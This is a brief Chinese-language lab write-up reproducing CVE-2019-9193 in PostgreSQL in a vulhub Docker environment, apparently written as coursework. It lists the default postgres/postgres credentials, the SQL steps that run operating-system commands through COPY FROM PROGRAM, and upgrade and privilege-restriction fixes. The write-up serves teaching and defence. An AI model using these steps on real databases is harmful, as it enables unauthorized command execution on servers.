漏洞概述

        PostgreSQL是一个功能强大对象关系数据库管理系统(ORDBMS)。由于9.3增加一个“COPY TO/FROM PROGRAM”功能。这个功能就是允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

影响版本

9.3-11.2

环境搭建

1. 本次漏洞环境使用vulhub中的docker搭建，vulhub下载地址：

GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

2.下载完成后使用xftp传入安装有docker和环docker-compose境的虚拟机中解压并启动环境

cd vulhub-master/postgres/CVE-2019-9193

docker-compose up -d

3.使用docker ps查看是否启动成功

4.通过获取ip和映射的端口5432来连接数据库。

启动成功后使用navicat连接数据库，数据库初始账号密码为postgres/

postgres。

漏洞复现

1.执行删除你想用来保存命令输出但是可能存在的表，这一步可有可无

DROP TABLE IF EXISTS cmd_exec

2.创建用来保存命令输出的表：

CREATE TABLE cmd_exec(cmd_output text);

3.通过 “COPY FROM PROGRAM”执行系统命令

COPY cmd_exec FROM PROGRAM 'id'

4.将结果显示出来

SELECT * FROM cmd_exec

5.执行其他命令

whoami

SELECT * FROM cmd_exec

修复建议

1.建议升级至最新版本

2.控制数据库权限禁止普通用户执行命令

此漏洞是根据老师上课讲的知识以及网上的资料将漏洞复现出来，步骤简略，请各位见谅。